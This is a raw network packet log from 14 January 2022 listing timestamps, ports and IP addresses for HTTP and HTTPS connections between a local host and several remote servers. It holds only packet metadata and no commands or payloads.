Jan 14, 2022 09:25:41.441442966 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441485882 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441510916 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.441526890 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441566944 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441597939 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441628933 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441637039 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.441669941 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441709995 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.441770077 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.441819906 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.443443060 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.451591969 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.451633930 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.451673031 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.451711893 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.451720953 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.451749086 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.451755047 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.451791048 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.451792955 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.451797962 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.451833010 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.451848984 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.451873064 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.451888084 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.451913118 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.451930046 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.451951981 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.451952934 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.451992989 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452008963 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452034950 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452049971 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452075958 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452105999 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452136040 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452177048 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452193022 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452218056 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452219963 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452258110 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452290058 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452297926 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452305079 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452338934 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452347040 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452378988 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452395916 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452431917 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452472925 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452488899 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452512026 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452553988 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452569008 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452594995 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452632904 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452642918 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452675104 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452714920 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452722073 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452740908 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452783108 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452784061 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452824116 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452825069 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452863932 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452881098 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452903986 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452905893 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452944994 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.452944994 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.452986956 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453023911 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453031063 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453033924 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453068018 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453100920 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453108072 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453147888 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453187943 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453217983 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453227997 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453267097 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453284979 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453306913 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453339100 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453337908 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453382969 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453423977 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453458071 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453464031 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453471899 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453504086 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453506947 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453546047 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453583002 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453588963 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453623056 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453663111 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453692913 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453701973 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453741074 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453769922 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453782082 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453821898 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453828096 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453898907 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453942060 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.453972101 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.453979015 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454020977 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454040051 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.454062939 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454099894 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454114914 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.454139948 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454179049 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454217911 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454232931 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.454257011 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.454258919 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454297066 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454336882 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454376936 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454379082 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.454417944 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454436064 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.454457998 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454499960 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454539061 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454554081 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.454580069 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454617977 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454632998 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.454655886 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.454658031 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454674959 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.454698086 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454735994 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454773903 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454778910 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.454813957 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454853058 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.454866886 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.455082893 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.455140114 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.459073067 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459115028 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459151983 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459184885 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.459192038 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459222078 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459242105 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.459259987 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459300041 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459338903 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459345102 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.459379911 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459420919 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459425926 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.459459066 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459498882 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459501982 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.459537983 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459575891 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459580898 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.459616899 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459656000 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459673882 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.459697962 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459732056 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.459739923 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459779024 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459817886 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459825039 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.459856987 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459896088 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459904909 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.459935904 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.459969044 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.459975958 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460026026 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460063934 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.460066080 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460104942 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460119009 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.460145950 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460186005 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460201025 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.460225105 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460264921 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460270882 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.460304022 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460341930 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460355997 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.460382938 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460422039 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460431099 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.460462093 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460503101 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460517883 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.460541010 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460580111 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460597038 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.460619926 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460658073 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460679054 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.460700035 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460737944 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460752964 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.460777998 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460813999 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:41.460832119 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.461323977 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.492347956 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:41.509943962 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:44.236833096 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:44.254184008 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:44.254371881 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:44.254487991 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:44.254506111 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:44.271624088 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:44.376755953 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:44.378103971 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:44.378323078 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:44.395524979 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:44.416203022 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:44.433559895 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:44.433866978 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:44.434077024 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:44.434180021 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:44.451296091 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:44.451330900 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:44.573210955 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:44.573302984 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:44.573585033 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:44.590750933 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:44.612536907 CET	49867	443	192.168.2.4	172.67.139.105
Jan 14, 2022 09:25:44.612586975 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:44.612668037 CET	49867	443	192.168.2.4	172.67.139.105
Jan 14, 2022 09:25:44.613049984 CET	49867	443	192.168.2.4	172.67.139.105
Jan 14, 2022 09:25:44.613075018 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:44.715996981 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:44.716104984 CET	49867	443	192.168.2.4	172.67.139.105
Jan 14, 2022 09:25:44.718097925 CET	49867	443	192.168.2.4	172.67.139.105
Jan 14, 2022 09:25:44.718131065 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:44.718352079 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:44.719762087 CET	49867	443	192.168.2.4	172.67.139.105
Jan 14, 2022 09:25:44.761894941 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:45.022377968 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:45.022686005 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:45.022747993 CET	49867	443	192.168.2.4	172.67.139.105
Jan 14, 2022 09:25:45.022770882 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:45.022859097 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:45.022913933 CET	49867	443	192.168.2.4	172.67.139.105
Jan 14, 2022 09:25:45.022929907 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:45.023014069 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:45.023063898 CET	49867	443	192.168.2.4	172.67.139.105
Jan 14, 2022 09:25:45.023077011 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:45.023159981 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:45.023209095 CET	49867	443	192.168.2.4	172.67.139.105
Jan 14, 2022 09:25:45.023225069 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:45.023334026 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:45.023391008 CET	49867	443	192.168.2.4	172.67.139.105
Jan 14, 2022 09:25:45.029505968 CET	49867	443	192.168.2.4	172.67.139.105
Jan 14, 2022 09:25:45.029529095 CET	443	49867	172.67.139.105	192.168.2.4
Jan 14, 2022 09:25:45.060146093 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.077600002 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.077724934 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.077824116 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.081327915 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.095186949 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.098678112 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.200242043 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.200324059 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.200499058 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.217780113 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.227286100 CET	49869	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:45.227330923 CET	443	49869	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:45.227416039 CET	49869	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:45.227663994 CET	49869	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:45.227689981 CET	443	49869	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:45.306698084 CET	443	49869	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:45.306799889 CET	49869	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:45.308541059 CET	49869	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:45.308558941 CET	443	49869	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:45.308758974 CET	443	49869	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:45.309535980 CET	49869	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:45.349808931 CET	443	49869	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:45.349941969 CET	443	49869	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:45.350019932 CET	49869	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:45.350219965 CET	49869	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:45.350254059 CET	443	49869	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:45.350276947 CET	49869	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:45.350292921 CET	443	49869	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:45.377651930 CET	49871	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.394982100 CET	80	49871	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.395086050 CET	49871	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.395173073 CET	49871	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.395183086 CET	49871	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.412511110 CET	80	49871	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.412542105 CET	80	49871	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.516051054 CET	80	49871	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.516146898 CET	49871	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.516186953 CET	49871	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.533493996 CET	80	49871	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.545907974 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.563244104 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.563338041 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.563460112 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.563476086 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.580593109 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.682832956 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.682929039 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.682997942 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.700155020 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.711688042 CET	49873	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.729084015 CET	80	49873	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.729195118 CET	49873	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.732567072 CET	49873	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.732587099 CET	49873	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.749970913 CET	80	49873	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.859752893 CET	80	49873	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.860083103 CET	49873	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.869123936 CET	49873	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.886907101 CET	80	49873	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.908658028 CET	49874	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.926626921 CET	80	49874	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:45.927114964 CET	49874	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.927258015 CET	49874	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.927284956 CET	49874	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:45.945645094 CET	80	49874	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.048866034 CET	80	49874	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.048943996 CET	49874	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.049104929 CET	49874	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.067040920 CET	80	49874	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.081935883 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.099196911 CET	80	49875	8.209.70.0	192.168.2.4
